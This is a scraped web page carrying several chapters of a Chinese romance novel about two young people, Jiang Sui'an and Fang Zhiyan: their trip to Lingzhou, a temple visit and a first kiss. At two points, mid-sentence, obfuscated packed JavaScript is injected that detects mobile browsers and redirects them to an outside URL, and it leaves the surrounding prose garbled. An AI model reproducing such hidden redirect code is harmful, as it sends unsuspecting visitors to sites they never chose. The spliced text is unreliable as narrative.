他滞在原地,眼见着姜岁安缓缓靠近,直直倒在自己怀里,声音像煮粥一样黏糊:“你很喜欢我,对吧?你怎么会喜欢我呢?你喜欢我什么呢?唉……搞不懂你……” 这大概是锅甜粥。 他搂着她,祈祷着时间能够慢些,越慢越好,于是将声音放轻,怕惊扰时光:“是啊,谁也不懂谁呢。” “我劝你啊,别爱上我了,虽然爱上我是人之常情,但是我们两个不合适,而且要是我爱上了你,不愿意离开出国,你后来又迫于家庭的什么联姻啊抛弃了我,那我可是情与利双不丰收了……” 他说: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17343623|198269||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “早就让你少看一点狗血剧的,我不是那样的人。” 姜岁安一甩手:“世——事——难——料——你知道为什么我说我不能喜欢你吗?我姜岁安是什么人?戎马四分之一生,竟然还处处要依靠你,太不像话! “所以啊,我要先成为能独当一面的大人,然后才配谈爱情……” 可惜,姜岁安是醉着的,他不能趁人之危,更不能确认真假……甚至,有些怅然若失——这是太奇怪不过的感觉。 他一直觉得,姜岁安是个比自己藏得住的人,至少在在爱情方面是这样的,可她明明什么都知道。 而他们的感情,总差那么临门一脚,两人总在忙碌的生活和学习中消磨后重逢,就好像总没有做好准备一般,进时不敢进,退时不甘退。 方知言突然逮住她不安分的身子,紧紧抱住,闭着眼睛嗅了会儿她颈间的味道。 天竺葵。 贪婪,欲求不满。 方知言正愁怎么把她送回宿舍时,就遇到了姜岁安刚做兼职值夜班回来的舍友。 那女孩儿先一步认出了姜岁安,方知言在确认她身份后,目送两人离开。 …… 姜岁安第二天迷迷糊糊起床时,舍友问她:“岁安,你啥时候谈了个这种极品帅哥啊?” 姜岁安:“啊?” “看你昨晚喝成那样就知道你肯定不会认账,你看,我还拍了照片呢。” 姜岁安看着那张模糊人影的照片,藏不住脸红,硬着头皮解释道:“啊……这是我高中同学。” 舍友:“我靠,高中同学亲密成这样,你俩八字没一捺总有一撇了吧……你不准诓我!” 她随便搪塞了几句,女孩儿便不再追问,自己做自己的事去了。 姜岁安翻出手机问方知言,自己有没有做什么出格的事时,他欲擒故纵地回复:你真不记得了吗? 姜岁安觉得不对,发消息悄悄试探:我……做了什么吗?我没对你动手动脚吧?方知言对不起对不起对不起…… 方知言:没干什么,你挺乖的。 盛夏的风从汐城吹向北城,南来北往,东西贯通,出现了一批流动者的浪潮。 这是大学生的返乡浪潮。 远在国外的蒋翼铭迟迟没有消息,大概率也不会回来。 “小蒋不是老蒋”的账号被注销了,就连夏静雯也没办法再见他的笑容。 方知言应约来到流浪者山。 姜岁安穿着一条波点长裙,坐在秋千上,翩翩然。 方知言脑子里只有一个词——披风,姜岁安披着风,或者说,风披在了她的身上。 姜岁安脚边放了两块石头,一块又大又圆,一块又长又锐。 他们自作主张给小花在流浪者山立了一块小小的碑,刻上了姜岁安自作主张给她取的名字——许平安。 他们并没有力气将这名字刻得深,怎么划都还是白白的线,直到擦不掉痕迹。 姜岁安说:“名字对人来说是很重要的,希望她能喜欢吧。” 樱花还没开,汐城的夏天走得也晚,于是绿色的冠顶就做了许平安最坚实的遮雨棚。 “方知言,我在想,事情为什么会变成这样,难道说,故事必须要以悲剧结尾,才能被别人记住吗?” 方知言没有回答。 “我知道你们专业素来要讲公平正义,可是你会不会有一瞬间觉得,这些话虚伪而冠冕堂皇呢?包装残酷的真相,愧对逝者的流亡。” 方知言依然没有回答。 姜岁安理解他,所以也不说了。 几个月后,这块只有三个字的石头边长出了一朵小花。 黄色的小花。 夏天的尾声将近,方知言南下找到了一个人。 李丽珍。 李丽珍在家里静养。 她没有养那个孩子,而是以自己有精神问题为由,将他送去了福利院,听说不久后就被人领养走了。在媒体的报道里,她一度否认这是自己的孩子,大家也都对此表示理解。 见到方知言的时候,她的手指刚好放在钢琴琴键上,窗外的榕树将光斑过滤,让整个房间蒙上了绿色的温馨。 她有些惊讶,但见怪不怪,以为又是哪个报社的记者,或是小说家。 他问李丽珍,那个晚上究竟发生了什么。 李丽珍没回答他,伸手弹了一段李斯特的《但丁奏鸣曲》。 方知言纠了她几个弹错的音符,说:“我有一个朋友,也是我的……喜欢的人,她想知道真相,但我怕这会伤害她,所以先来问问——” “然后再选择要不要告诉她。”李丽珍的语气疏离。 “是。我知道或许这对你来说很残忍,我也不会逼你说些什么,但是……她是我人生中很重要的人,我不希望她陷入不该属于她的自责里,也希望你能早点走出阴霾。” 李丽珍说:“是我的错,如果我没有选择那个晚上跑走……她不会死。如果我执意要带她跑走……她也不会死。我不知道该不该愧疚,因为她毕竟只是个孩子,可她是那个人的孩子。” 李丽珍把她所知道的事情告诉了方知言,最后平淡地落下一句总结,是对自己的判词:“我预料过我逃跑的话她会死,但是,我更想要自己活着,我必须抓住机会……我别无选择。我知道你说的朋友是谁,请一定要替我谢谢她,谢谢你。” 方知言说:“理解,但这也不是你的错。” 李丽珍眼眶发酸。 方知言临走前,问李丽珍:“可以借用你的琴吗?” 李丽珍点头。 方知言想了想,最后弹了一段格里格的《致春天》给她。 这个被从死亡线拉回来的姑娘,望着他俊秀的侧脸,眸中却倒映出了那个窗沿上女孩的模样,想起她们甚至连交换名字的时间都没有。李丽珍哽咽地说:“谢谢你,只是马上秋天就要来了。” “春天总会来的。” 方知言终究还是没忍心告诉姜岁安这些,也没有转交她的感谢。 28. 秋光乍泄(一) 风霰寒露,花落姗姗来迟。 北城的秋天秋意浓,金黄、橘红、苍白…… 你见过杨柳与银杏同时铺在这条路的两旁吗?一面青绿,青绿悠扬,成了海的长发梳妆;一面簌簌落着树的雨,老弄堂淋着金秋的悲和喜,年年岁岁都是如此。 往巷子的深处走,往南方走,秋光乍泄。这时候,再没空耽误江南的阴雨天,也没空耽误你杨柳桃花般的眉眼。 很多相逢都是余光一瞥的产物,越过千山万水,一眼足矣。 “爱”或许在青涩和稚嫩中稍显老气,学生们不轻易用“爱”作谓语、用“谁”作宾语,是因为很多时候我们觉得自己没有资格谈“爱”,而影视文学作品中却将“爱”泛滥——这让姜岁安对“爱”充满了矛盾 但“喜欢”,似乎更是不可说的秘密。 你在我的眼前,明媚耀眼。 | 在方知言离开灵州之后,李丽珍家里又不请自来了一位客人。 她终于知道了她的名字——姜岁安。 李丽珍见到她的时候有些惊讶,想来是那个男生并没有把事情告诉她。 李丽珍眼前的这个女孩:眉峰平缓,小山盈盈,有些淡;她的双眼皮并不明显,卧蚕也不明显,嵌在皮肤里的眼珠色浅,垂眸像落日黯然;她的鼻子小巧,不算特别笔挺,鼻头上还有颗痘痘;双唇形似花瓣,嘴角既不上翘也不下垂,有些让人捉摸不透,但好在这个女孩的表情丰富,喜怒都写在脸上。 这样貌容平淡温婉的人,却比谁都热情。 姜岁安应该比自己要小好几岁,她其实没有自己想象中那么漂亮,可能是方知言那张脸羡艳使人神共愤,又或许是自己对她的想象有太多侠客的艺术加工——比如林青霞饰演的东方不败或是刘亦菲饰演的小龙女,亦或者是朱茵扮演的紫霞仙子。 听完自己讲的故事,她以为这个女孩就铺天盖脸骂自己一顿,但姜岁安愤愤又无奈说:“他们会下地狱的,你们获救了就好。” 两个女孩很默契地没有提及小花。 “你和那个男生真有趣,明明警方公布的信息里都有说,却还要来问我。”李丽珍平静地说。 见到姜岁安露出惊讶的表情,李丽珍下意识捂了捂嘴,随后正襟危坐,准备坦白从宽。 “他来过了?可是他为什么没跟我说啊。” 李丽珍选择出卖方知言:“他说,你是他生命中很重要的人,可能是怕你担心吧。” 姜岁安摆摆手,潇洒地说:“我没那么脆弱,他多虑了。” 李丽珍看着月亮缓缓升起,邀请道:“姜岁安,什么时候有空来这里玩吧,机票和酒店我家里帮你报,算是我报答你们的一点点恩情。灵州的秋天与北城相比,应该别有一方光景。” 可此时姜岁安满脑都是方知言的模样,根本没在思考李丽珍的话。 他什么时候来的?他那天穿了什么衣服?他有没有说一些不合适的话? 他……为什么为了自己来找李丽珍? 他……出于什么理由呢? 那我呢?我出于什么理由来的呢? 姜岁安呼吸一滞——方知言一定喜欢自己,前些时候是试探和打趣,但这次,她真真切切明白了他。 此时,再叩问自己的心门“是不是”,是不是已经没有意义了。 连接神经的弦一松,姜岁安木讷地点点头,答应了李丽珍的邀请,又像是答应了方知言无声的讯息。 “行,那你们记得要来。”李丽珍上下打量着姜岁安,笑着说。 “不用包住行了,就当我们是来旅游的。” 姜岁安觉得,方知言不愿意跟自己说,一定有所企图,所以,她并没有告诉方知言自己去找过李丽珍。 “方知言,你最近实习忙吗?想去灵州玩吗?” 两人面对面,桌上的碳炉里炖着黄焖鸡,这是姜岁安从小到大最喜欢吃的东西。牛先生说,她上辈子应该是一只小黄鼠狼。 “我实习快结束了,在等录取结果,不忙,你呢?”方知言低着头看那锅中的雾气,口中分泌津液。 “我最近刚把申请资料发给学校,现在正在听天由命。”姜岁安伸了个懒腰,在鸡肉最嫩的时候果断出筷,给自己夹了个鸡腿。 方知言夹了几块鸡胸肉和几块上次让自己在姜岁安面前丢尽颜面的土豆,紧张兮兮地问:“为什么突然想要去灵州呢?”提起灵州,他下意识地观察着姜岁安的神色,怕她知道些什么。 姜岁安狡猾地笑了笑,毕竟敌人在明自己在暗。 她左手食指戳着自己的脸,右手在锅里翻找着因为提前下锅而煮融了的冬瓜片,说:“看到很多旅游博主在推荐灵州,想去就去了。纠结要不要吃的时候就吃、纠结要不要买的时候就买、纠结要不要做的时候就做,反正两头都是后悔,不如先享福再说。而且最近太累了,刚写完开题报告,可不给自己送一趟说走就走的旅行呢。” 其次,她想要试探方知言对自己的心思。 究竟是出于友谊,还是出于叫做爱恋的私心? 方知言低声重复着她的话:“纠结要不要吃的时候就吃、纠结要不要买的时候就买、纠结要不要做的时候就做……” “嘀咕啥呢?” “没什么。” 姜岁安在空气里嗅了几声,突然拿筷子指着黄焖鸡煲,说土豆糊锅了。 方知言盯着被煎得焦黑的土豆,暗想:糊得好。 …… 李丽珍推荐给两人的民宿属实不便宜,前后有三四个庭院,种满了应季的鲜花和瓜果,几乎是一对住户一栋小院,院子里有两间客房。许多猫猫狗狗穿梭其中,亲人得很,姜岁安和方知言刚踏进院子的槛,就有一只三花伸完懒腰悠悠地走来为他们引路。 房东说,小三花叫迷糊,是个妹妹。 话音刚落,迷糊就撞到了桌脚。 小迷糊,真是迷糊。 放下行李睡一觉起床,已经是下午了。 两人都没做攻略,姜岁安也谢绝了方知言精确到分秒的计划,两人便漫无目的地在湖边走。 中秋刚过,重阳未到,旅游城市的热潮逐渐褪去,残留一些余温。 温度在于,景区里的烤肠机整整齐齐码着两种味道肉肠和热狗,不用排队也不用跟小孩抢;温度在于,泡面也不再临期,可以不必特意从货架后面掏商品;温度在于,游船处的售票员嗓子还是哑的,见到你时能口齿清晰地说一句“你好”,不催着你赶紧付钱。 他们没有坐红头大船。这一项目,姜岁安在汐城的时候,只要家里一来外地客人就要体验一番,船上那导游的话术都能背了,觉得无聊。 打卡了钱币上的建筑之后,姜岁安和方知言来到了锦鲤潭。 这里的小木船的掌舵者前身都是渔民,近些年渔业产业萎缩,一部分人离开了海,但还是舍不得水,于是改行不改本。 小小的木船摇摇晃晃,木头的夹缝里还生了些青苔,闻起来不是发霉的味道,而是青草的味道。 姜岁安说要和方知言坐船头,图个好寓意。 流水在船头分了两道,在船的两旁,或许即将汇合,或许永不相见,全凭小河自己的意愿。远远的,红日悬在拱桥石孔的圆里,然后继续西下,穿过其余的桥洞。 穿过这桥,就到了主河道。没油了的花灯还未被景区打捞处理,蔫蔫地开在红枫秋叶和江水里。 两人背靠着背,你不见我我不见你,你朝南来我朝北,却有着同一个目的地,于是两颗心也越靠越近。 方知言率先打破了长达十五分钟的寂静:“姜岁安,你说我们如果为了梦想而各奔天涯,结局会怎样呢?” “那我们一定都会幸福吧。” 姜岁安把身子转了过来,盘腿而坐,仰天长啸:“我们都有美好的未来——你看,蒋翼铭虽然说受了打击,但他也因此转到自己感兴趣的专业了,还出了国,算是因祸得福吧。 “静雯跟我说她在警校里外号‘winwin’,常胜将军啊,飒就一个,帅是一辈子。 “你呢,是我最不担心的。” “可我们都很担心你。” “我身体倍儿棒,吃嘛嘛香,有什么好担心的?” “我知道你想成为怎样的记者,我也知道你能吃苦,但是吃苦是每一行最基本的条件,最难的是,你要在看遍终生疾苦、经历无法言说之后还对这个世界抱有希望的幻想、还想为人们做些什么。姜岁安,你太善良了,你的善良不应该被 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虽然早已明白他的那点心思,但面对真实的情况,姜岁安一时不知道该怎么说才好,无措地半开玩笑打趣他:“好了好了,我言重了,你个小心眼的,别怄气了。 “方知言,我将对着你发誓,以表我的衷心。” 男孩的嘴角把关失守,放任无奈在温柔里荡开,轻轻叹一口气后,他眺望着河流的尽头,再回首,原来是让眸子捧着一汪倒映着月的水,递到她跟前,轻声对她说:“你啊……你个没良心的,许愿的话还是不要说给我听了吧,毕竟愿望说出来就不灵了。” 姜岁安这样较真的人,没有纠正他,那便是同意了。 姜岁安手指轻轻摇,像在逗一只猫,每个字都裹着轻盈的笑意:“不是许愿,是——发誓!” “行,发誓。” “我姜岁安,会照顾好自己,好好吃饭、好好上学、好好工作,不让家人、朋友和方知言担心!尤其是方知言,因为他是个小心眼的小气鬼!这个小气鬼说,他不要成为我的朋友,那么他想成为我的谁呢——” 方知言避开她灼热的凝视,双手捂着脸:“你别那么大声……” “哦?又害羞了?” 不知为何,天黑得格外快,河上飘起光亮,往上游逆流划去,亮晶晶的花灯朝小船飘来,空气里有姜岁安衣服上淡淡的天竺葵香。 方知言问船夫:“师傅,今天有什么活动吗?怎么开始放花灯了?” 船夫摇摇头,说中秋、元宵的时候一般都会通知他们禁止行船,今日却也没有,实在不知道为什么。 三人齐刷刷抬头看向天空,无人机摆成爱心的阵型,这才知道是哪个富家公子在示爱。 她肘击了一下方知言,打趣道:“诶,你以后可别学他们,这都是暴发户爱干的自以为浪漫的事情,《西虹市首富》里沈叔叔演的王多鱼就这样。我跟你讲,现在很多女孩子都不吃这一套了,毕竟没人想让自己的名字满天飞。” 方知言说:“你不想的话,我也不会的。” 姜岁安的心头一颤,将手伸进水里,凉冰冰的。 把浸过水的手贴在脸上,发觉皮肤滚烫,一摸心脏,乱了阵脚。 铁骑刀枪,在杀向方知言的白马时,纷飞成了红枫与江流,脸上干涸腥臭的血也不见了,战士们乘着船、唱着歌、喝着酒,不再打仗,回归田园牧歌的生活。 这场战争没有谁胜利,也没有谁失败。 姜岁安收拾好情绪,眼见着船头要撞向花灯,对船夫说:“师傅,我们两个在前面帮你把灯往两边清哦!” “好好好,小心点别烫着手啊——”船夫一口方言,姜岁安觉得好听,于是一边开路,一边与他攀谈起来。 方知言将姜岁安的身子装进自己的眼睛里。 秋水、月明、游花、江枫……都不及她一人美。 说实话,姜岁安的一腔热血和一意孤行让他这样凡事都先考虑后果的人有些无语,但远远到不了生气的地步,只是希望她撞一次南墙就赶紧回头,要么就一辈子都不要碰壁。 既然她不领情,自己也没理由再说什么。 不过,万籁之中,无声胜有声。 29. 秋光乍泄(二) 姜岁安和方知言在夜晚骑行归宿。 她本以为他是不会骑车的,没想到方知言学得飞快。 大概是因为他学过骑马,平衡好吧……她想。 姜岁安在他前面骑得飞快,下坡也不拉刹车,方知言在后面让车匀速往下跑,生怕前面哪个树丛里蹿出个动物或酒鬼。 女孩的小黄车在前面叮铃铃响着,嚣张至极,方知言不理,正在以龟速前行。 在路口,姜岁安停了车,方知言以为她在等自己,加快了踩踏板的速度。靠近来看,原来是她在给路过的运货车捡掉了的果子。 她明明也听不懂前边司机大哥在用方言说些什么,却还大言不惭地说着“不用谢”。 姜岁安上次喝醉的时候说,爱上她是人之常情,他当时在想,世界上怎么会有如此自恋的人? 现在看来—— 爱上她这个人,是此生不换的福报,理由太简单不过,感情太直白不过。 回到民宿,猫猫们都还没睡觉,瞳孔竖起,走着直线来迎接它们的客人。她伸手摸摸它们毛茸茸的脑袋,拖着疲惫的身子回到了客房。 两人都有些懵。 姜岁安问自己:两人在船头上的那番话,算是告了白吗? 做了九年阅读理解题的语文课代表,此时此刻竟然在含蓄中摸不透分寸,裹着被子在暖烘烘的小窝里傻笑,数数今天的表现里自己赢了几轮。 对面的人越是脸红心跳,就越说明自己在上游摇旗呐喊。 怀着这样憧憬的心情,姜岁安失了眠。她瞪着圆圆的眼睛,忽然觉得有些渴,下床走到公共厨房接了一杯冰水,试图解解渴,也解解燥。水没喝完,反倒被迷糊吓了一跳,她蹲下身,问:“饿了?我房里有火腿肠,给你来点?” 迷糊打了个哈欠,叫了一声。 “你个馋猫。”姜岁安宠溺地说了一声,而后把杯子顺手放在托盘里。 她前脚进去,后脚另一扇门“嘎吱”一声就开了,走出来的人没有多想,随手拿起一个有水的杯子就喝了起来。 姜岁安从房间里出来,看到了一个高大的背影。 “迷糊啊,你不会显灵来报恩了吧,其实完全没有必要的啊,我我我受不住啊……” 那个身影晃了一下,发出熟悉的声音:“傻瓜,是我。” 姜岁安看着方知言转过身来,玻璃杯中的水在月光下闪着清冷,再往托盘上看,才确认了真相:“方知言,你喝了我的水。” 在黑夜里,姜岁安看不清他的表情,但能猜得出,方知言冷静温和的脸写上“OMG”的神情一定很有趣。 半晌,润过了喉咙的方知言哑着嗓子说:“我们为什么不开灯?” 姜岁安说:“因为这个视角下你的身材更性感了……” 方知言心想:你也别什么事都说出来啊…… 月光淡去,天色由深转青。东边山峦的轮廓刚清晰起来,一道清亮的晨光便划破天际。 夜与昼,就在这静默的交替中完成了交接。 第二日,两人罕见确认了旅行的目的地——寻山寺。 姜岁安被沿途的小饰品吸引了注意,不由分说地拉着方知言进去转。 她说:“眼花缭乱,都好漂亮。” 他从饰品镜里看她的神情,脉脉一笑:“你喜欢的话,都可以买。” 还在试手链的姜岁安被他的话冻了一激灵,打消了他抢着消费的念头,说:“记忆不在多,而在于有,纪念品也是。” 正说着,就有人过来推销手工红绳编织。 老太太见他们是年轻的一男一女,脚步陡然迅速,吆喝陡然大声:“寻山寺锁姻缘很灵哦,孽缘化正缘,无缘化有缘,要不要为心爱之人求一条红绳呀——” 姜岁安嘀咕:“虽然很假,但是,我们去看看吧。” 老太太的纸皮板上写着“一条100,DIY88”,纸皮盒里放着各式各样的手工红绳珠串。 姜岁安一声拍板,付了两个人的钱,拉着方知言到老太太的摊位做起了手工。 老太太说:“你看呀,你们两个,郎才女貌、金童玉女,合适得哟——” 方知言觉得姜岁安肯定是被骗了,真水晶假水晶的,他是看得出来的,老太太盒子里那些红绳上穿的珠子全是彩色玻璃,居然还能卖这么贵。 但是她似乎也知道这是个善意的谎言,而且沉醉其中。 姜岁安手巧,编的绳花纹漂亮,一颗白玉珠在中间,两朵小绳花夹住它。 方知言手笨,最后也没编个成型,白让姜岁安给自己也交了八十八块钱。 姜岁安让他伸出手,方知言下意识问了句为什么,木讷照做。 她傲娇嗔怒:“让你伸出来就伸出来,哪有那么多为什么?” 红绳在她指间绕成圈,姜岁安垂眼时睫毛在抖,却偏要抿住上扬的嘴角。 方知言说:“好漂亮的红花绳。” “‘红花绳’吗?我一直以为叫‘红绳花’……不管了我就叫‘红绳花’了,这个名字更顺口一些,”她清了清嗓子,温柔地威胁道,“尊敬的方先生,请不准弄丢这上岸的票,不然就要永远被困在灵州的水季里了。” “好。”方知言这个字咬得很满。 水季? 他脑海里的声音这才缓缓将室外的雨声滤了进来,洗走了她的声音,淅淅沥沥。 姜岁安撑了一把伞,方知言也撑了一把伞。 姜岁安正在思考为什么突然下起雨的时候,想起了坐庄的李丽珍。 李丽珍说,灵州的的秋天别有一番光景,原来指的是这个——雨。 她突然想到了在汐城时的那一个秋天,依旧是她、他、古朴的建筑和雨。 唉—— 今时不同往日。 巨大的石碑上刻了字,有四个字的磨损程度最高——“想、智、生、得”褪去了金色,暴露出了石头本身的黑色。 小孩子定是要摸到“智”的,淋着雨也要摸到,而被大人们托举着从“亦”摸上去,亦将“亦”摸得黯淡无光。 有人路过,一把黑伞,一袭黑衣,嘴里喃喃着:“人果真贪婪,看似群臣上供,实则欲望无边。” 可岁安觉得,人生苦短,向上天讨要一些东西也未尝不可,欲望是正常而珍贵的东西,只是在为自己求一些好,并不害人,何必这么刻薄。 来到寺院的人并非都信佛,譬如,她和方知言都是不信的。有欲望也不代表不知足,但既然来到了这里,就要给自己留一段记忆。 所以大家像流水一样摸完就走,为的是安心而非贪图所求。问天问地,问生问灵,在这个世道,无非就是问自己。 她问自己:你想要什么呢? 她抬头仔细端详着这面石墙,手印被雨水冲刷掉了,这样能让她仔细斟酌自己的心之所向。 姜岁安将手放在了贯穿全篇刻文的一个“無”字身上。 手指触碰在字面的一瞬间,寒意袭来,字像是在说话,要让姜岁安闭眼静心听它的诉说。 可周遭只有雨声,仔细听,树叶落下,湿鸟振翎。 方知言的声音如神度卿:“为什么呢?” 姜岁安闭着眼睛,梨涡浅笑,回应他:“无灾无病,无忧无 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17351759|198269||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 虑,祝你也祝我。” 于是,他也将自己的手放在她的手上。 那股雨水滴落的寒意消失了,手背的暖和他脉搏的烈取而代之。 把手摊开,也就什么都没有了,可她心里生出了一个矛盾的念头——离开墙面,又仿佛什么都有了,有过这段尘缘,但也只是走过,走过了,就什么都未曾有过了。 灵州是个太有灵气和魅力的地方了,没有太阳的天气伴随着和煦的微风和摇铃,让人忍不住多许几个愿。 岁安想了想,自己已经许了好多愿、发了好多誓,对着河与灯、对着石与字、对着枫与雨。 她看了看身边的方知言,方知言也看了看她。 姜岁安在心里想:我希望你幸福。 她又许了个愿。 执伞过了许多台阶,到了供奉香火的地方。方知言由于身份和信仰关系,没有烧香,姜岁安怕湿空气染灭香火,也没有烧香。 走过台阶,又走过台阶;走过桥,又走过桥,姜岁安的手指轻轻扫过他的手心,方知言不躲,也不把她的手攥在手心。 方知言的声音突然传来:“姜岁安,我有话跟你说。” 她闻言转身,方知言抓住了自己那只捉弄他的手,俯身而下,一滴水在她眼前落下,他的吻也在这转瞬之间,落在了她的面颊。 姜岁安红了脸,突发恶疾,说,让方知言帮忙举一举伞,自己的眼睛里好像进了雨。 她皱眉眯眼,朝他走近,踮起脚尖,仰起脸,说要方知言帮忙吹吹。眼见着方知言垂眸低头,少女笑着啄了一下他的嘴唇,语气狡诈俏皮:“礼尚往来。” 姜岁安柳叶眼微垂,睫毛弯弯,只能看见他轻颤的嘴唇和滚动的喉结。 她的心像水一样化在胸腔,流满全身。 姜岁安望着方知言眼窝深邃,方知言望着姜岁安桃李秋水。 风动、雨动、枫动、心动……人不动,也不懂。 不懂…… 原来这就是…… 吻的感觉吗? “你想说的话,我都知道,但是说出来就破坏气氛了……所以,方知言,请原谅我文艺的羞赧之心……” 寻山寺锁姻缘很灵哦,孽缘化正缘,无缘化有缘…… 老婆婆的话成了小歌,终雨季环绕在她和他的耳畔。 有缘人并不一定终成眷属,因为,有情人终成眷属。 下山之后,要考虑最该考虑的问题了。 民以食为天,姜岁安在家里人人都会做饭的熏陶下,更是嘴刁之人。 她说,想吃蟹,尤其想吃膏蟹。 方知言说:“我记得你最近应该是生理期吧,要不别吃那么寒气的东西了。” 她伸出手,将手腕翻转,让方知言把手指放在自己的脉搏上,骄傲地说:“高三那段时间脱发严重去看中医,人家顺便帮我把了把脉,诊断的结果是——气壮如牛。 “我从小牛羊肉吃得多,气血足,这一点点寒气伤不了我一根毫毛。 “好歹是产蟹大省的邻里之交,中秋刚过不久,当然要吃蟹啦!” 她拉着他的手,在大众点评上面找到了一家百年老店,却得知这家店在大排长龙。 “女士、先生,前面还有两百三十六桌,请您留意广播叫号哦。” 两百三十六桌? 三十六计,走为上计。 姜岁安有自信——吃不了现成的,那就自己做呗! 方知言不懂她的莫名自信是从哪里来的,但与其在这里干坐着人挤人,不如跑出去另寻他路。 “方知言,姐的厨艺,包您满意。” 30. 秋光乍泄(三) 姜岁安在超市买了两只膏蟹、两只大生蚝和半斤明虾。 民宿配备了明亮厨房,各种调味料和工具一应俱全。 她打算做一锅粥。 在外面吹了一下午的风,想来是要暖暖身子的,至于温度能不能中和海鲜的凉气,她不知道。 于是还买了酒。 炒米的时候姜岁安先把螃蟹用葱姜料酒煮了会儿以便去腥,然后又细心地把蟹钳蟹腿上的肉剔下来,只保留蟹身。 吻过他之后,方知言让自己有欲望为他做些什么,这很奇怪。 许是觉得他孤独得可怜——许是因为自己也有一颗流浪的灵魂,渴望自由、渴望梦想、渴望爱情、渴望音乐、渴望运动、渴望拥有一切的愿望,抛开机遇去讲。 方知言那张美玉无瑕的脸突然就这样又浮现在自己的脑海里,雨水顺着他的伞划到她的伞上,然后划到他们的视线中,那时粉晕铺在他的眼尾、鼻尖和两颊,宛若桃花。 她如此想着,不自觉地嘬腮嘚瑟,想:姜岁安,女人对自己确实要好一点。 “迷糊,不准偷吃。”腿上一阵毛茸茸的触感将她拉回现实,姜岁安低头,轻而易举地叫出了队伍为首民宿小猫的名字。 姜岁安剥虾的时候,迷糊舔舔落在地上的虾头。她蹲下将它们丢到垃圾桶,用手腕蹭蹭迷糊身上的毛,它抗议似地“喵喵”几声,屁颠屁颠扭着屁股走出去玩毛线球了。 “该吃饭了吧。”姜岁安低声,离方知言不过半米距离,那声音让他的脸像是桃子煮酒,慢慢升温,沸腾,散发出醇香的诱人气息。 方知言先倒了猫粮给迷糊。 方知言把刚用过的杯子摆在橱柜里,姜岁安用筷子戳进瓦煲盖上的出气孔里,撬开。鲜香的粥滚着虾仁跟生蚝,橙黄的螃蟹被一分为二,从侧面能看见嫩白的蟹肉和因为高温而凝结的蟹黄。 一点点香菜……简直完美。 姜岁安本来想放点芹菜的,但想到方知言的喜好,就没买。 正当两人相敬如宾待对方动筷子的时候,民宿里另一家住户回来了。 夫妻牵着小孩,一口一个“不写完作业不准吃晚饭”,那小孩不作声,委屈地跟在身后。 姜岁安心里庆幸着自己已经走过了高考,又觉得小男孩惨惨的。 面前的方知言对此毫无波澜,专心致志地吃着海鲜炒米粥。见他如此,姜岁安也没有提,而是脉脉地看着他,痴痴地看着碗里的粥。 方知言吝啬于言语,却把夸赞都装进了被吃干抹净的碗底。 吃得差不多了的时候,姜岁安拿牙撬开了那瓶酒,小心翼翼给方知言倒了一点点,生怕倒多了,然后像个酒鬼一样把瓶子放在自己触手可得的地方。 “这是我最喜欢的一款果酒,尝尝吧。”她特意扬长了那个“最”字,似乎是在彰显自己喝过的酒多,但其实,她只喝过这个牌子的这一款果酒。 大概是遗传了父亲的酒量,温酒入喉,方知言胃里没有一点疼与烧,倒是酒精的气味冲鼻,让人忍不住打了几个喷嚏。 姜岁安问:“是不是好喝的?没骗你吧。” 方知言点头。 正当姜岁安和方知言把碗筷收拾好,走到房间门口准备着短暂分别的措辞时,一个声音穿堂而过:“能能!你跑哪儿去了?能能——” 姜岁安转身,刚才吃饭时见过的夫妻俩焦头烂额地在公共大堂呐喊奔波,女人径直朝他们走来,抓住姜岁安的胳膊,着急道:“姑娘,你有没有看到一个男孩,八九岁的样子,穿着蓝色的毛衣,带着一副眼镜?就一转眼的工夫,他就不见了!” 她让这位母亲先冷静下来,随后答应一起帮忙找孩子。 夫妻二人租了电动车往外走,民宿剩下姜岁安和方知言。 方知言想了想,来到了天台,果然看见小男孩坐在天台的花坛旁,用手扯着花瓣。 “花儿也是会痛的哦。”方知言说。 往下看,姜岁安像一只小蚂蚁一样,左跑跑,右找找。他没有告诉姜岁安自己已经找到了这个叫“能能”的小男孩,而是把手机熄屏,放在了一边。 许是被姜岁安灌了点酒,话变得多,又许是觉得这个年仅八九岁的小孩能懂自己,方知言说:“怎么想到用这种方式反抗呢?” 小男孩对方知言多有防备,并不多说,依旧扯着手上的植物,闷闷不乐。 方知言说,自己小时候跟他很像,也是被家里逼着学很多东西,不仅要学,还一定要精通。 “我跟你很像,小时候考不到满分,回来就要被戒条抽手掌,小学,门门一百分,还真不是什么简单的事情……我曾经也想过逃走,但是我不知道逃到哪里去,家里的佣人们看管你的言行,不能粗鄙;司机,我很敬爱的叔叔,暴露我的行踪,和天眼一样,走到哪里都能被抓到。 “成长到现在,似乎也没有叛逆期,做过的最出格的事情是在下课的时候跑去看女生的表演。” 小男孩说:“哥哥,你是个有钱的恋爱脑。” 很多事情,方知言并不打算告诉姜岁安,除非她问了,但姜岁安说,有话一定要说出来,倒不是为了得到谁的认可,而是因为人需要说话。 他不理会能能对自己的评判,而是放下心来,说:“我父亲给了我一条精确到年岁的人生规划路线,这条路线我估计自己还要再走十年左右,只要我走完了,我就能重新开始我自己的人生了——我之前是这么想的。” “后来呢?”能能问。 “后来在他规划的路径下,我成为了我们汐城的文科状元,然后我在想,究竟要不要再继续走这一条路。” 